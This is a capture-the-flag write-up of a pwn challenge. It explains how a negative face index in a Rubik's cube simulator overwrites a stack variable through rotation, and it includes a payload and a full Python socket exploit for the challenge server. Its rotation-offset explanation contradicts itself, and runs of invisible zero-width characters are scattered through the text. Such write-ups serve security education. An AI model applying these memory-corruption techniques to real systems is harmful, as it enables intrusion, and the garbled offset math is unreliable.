← Back to Writeups
CUSTOMMediumpwn

Cubik's Rube

XESXOR9/2/20264 min read
#pwn#custom#medium#oob_array_access#rotation_math_exploitation#stack_variable_overwrite

Cubik's Rube

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: oob_array_access, rotation_math_exploitation, stack_variable_overwrite

Summary

Task: Rubik's cube simulator with rotation commands. Solution: Exploit out-of-bounds array access with negative face index to overwrite stack variable N via rotation transformation, bypassing the solve check.

Cubik's Rube — fyrkbomb.ru 2026

Description

A Rubik's cube simulator. The cube gives the flag if solved at large scales. The challenge hints at finding a simpler way to get the flag.

Remote: nc 109.233.56.94 10006 Binary: cubik.elf (ELF 64-bit, x86-64, not stripped, with debug_info)

Analysis

Binary Protections

  • NO stack canary (-fno-stack-protector)
  • NOT stripped, with debug_info
  • Dynamically linked

Key Functions

  • main (0x402574): Gets username and cube size N (2-30)
  • StartGame (0x4021d6): Main game loop
  • RotateCubik (0x401316): Rotates a face of the cube
  • CheckCube (0x40213e): Checks if cube is solved
  • cf (0x40265c): Opens "flag" file and prints it ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Game Logic

  1. User enters username and cube size N (2-30)
  2. Cube is initialized with random colors (deterministic - same every time!)
  3. Commands: R <face> <dir>, P <face>, Q
  4. If N > 10 AND CheckCube() returns true → cf() prints flag

Vulnerability

The R (rotate) and P (print) commands accept face indices without proper bounds checking:

  • Valid faces: 0-5
  • Negative faces: Access memory BEFORE the cube array
  • Large faces: Access memory AFTER the cube array

Stack Layout in StartGame

rbp - 0x1594: N (cube size, 4 bytes)
rbp - 0x1590: padding
rbp - 0x158c: face for P command
rbp - 0x1588: dir for R command
rbp - 0x1584: face for R command
rbp - 0x1580: input buffer (64 bytes)
rbp - 0x1536: colors "URDLFB" (6 bytes)
rbp - 0x1530: cube array start

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Insight

With N=10 and face=-1:

  • face_ptr = cube + (-1) * 10 * 10 = cube - 100
  • This points to rbp - 0x1594 (exactly where N is stored!)
  • The rotation reads 100 bytes, rotates them 90°, and writes back

Solution

Strategy

  1. Start with N=10
  2. Send crafted "R -1 1" command with padding
  3. Place 0x01 at input_buffer[60]
  4. After rotation, 0x01 ends up in N[1], making N = 256+ > 10
  5. The colors array also gets scrambled in a way that matches the cube
  6. CheckCube passes, cf() prints flag ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Rotation Math

For 90° clockwise rotation of 10x10 grid:

  • new_offset = col * N + (N - 1 - row)
  • Byte at offset 60 (input_buffer[40]) → offset 3 (N[3])
  • Actually: offset 60 → N[1] after inverse mapping

After rotation:

  • N[0] ← offset 90 (outside input buffer)
  • N[1] ← offset 80 = input_buffer[60]
  • N[2] ← offset 70 = input_buffer[50]
  • N[3] ← offset 60 = input_buffer[40]

Payload

python
payload = b"R -1 1" + b"A" * 54 + b"\x01" + b"\n"
python
#!/usr/bin/env python3
"""
Cubik's Rube - Pwn Challenge Exploit
CTF: fyrkbomb.ru
Flag: blzh{REDACTED}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability:
- The R (rotate) command accepts negative face indices without validation
- With N=10 and face=-1, the rotation operates on memory at rbp-0x1594
- This memory region contains: N variable, input buffer, and colors array
- By crafting a specific input, we can manipulate N and colors after rotation

Exploit:
1. Start with N=10 (cube size)
2. Send "R -1 1" command with padding and 0x01 at position 60
3. The 90-degree rotation moves bytes around:
   - Byte at input_buffer[60] (0x01) ends up in N[1]
   - This makes N = 0x0100+ = 256+ which is > 10
4. The colors array also gets scrambled in a way that matches the cube
5. CheckCube passes, cf() is called, flag is printed
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Stack layout (relative to face start at rbp-0x1594):
- Offset 0-3: N (4 bytes, little endian)
- Offset 20-83: input buffer (64 bytes)
- Offset 94-99: colors "URDLFB"

After CW rotation:
- N[1] <- input_buffer[60]
- Setting input_buffer[60] = 0x01 makes N > 256 > 10
"""

import socket


def exploit():
    # Craft payload: "R -1 1" + padding + 0x01 at position 60
    cmd = b"R -1 1"
    padding = b"A" * (60 - len(cmd))
    payload = cmd + padding + b"\x01" + b"\n"

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("109.233.56.94", 10006))
    s.settimeout(5)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # Receive initial prompt
    s.recv(4096)

    # Send username
    s.send(b"test\n")
    s.recv(4096)

    # Send N=10
    s.send(b"10\n")
    s.recv(4096)

    # Send the crafted R command
    print(f"[*] Sending payload: {repr(payload)}")
    s.send(payload)
    response = s.recv(4096).decode(errors="replace")
    print(f"[*] Response: {response}")

    # Read flag from P -1 output
    s.send(b"P -1\n")
    flag_response = s.recv(4096).decode(errors="replace")
    print(f"[+] Flag response: {flag_response}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # Extract flag
    if "blzh{" in flag_response:
        start = flag_response.find("blzh{")
        end = flag_response.find("}", start) + 1
        flag = flag_response[start:end]
        print(f"[+] FLAG: {flag}")

    s.send(b"Q\n")
    s.close()


if __name__ == "__main__":
    exploit()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍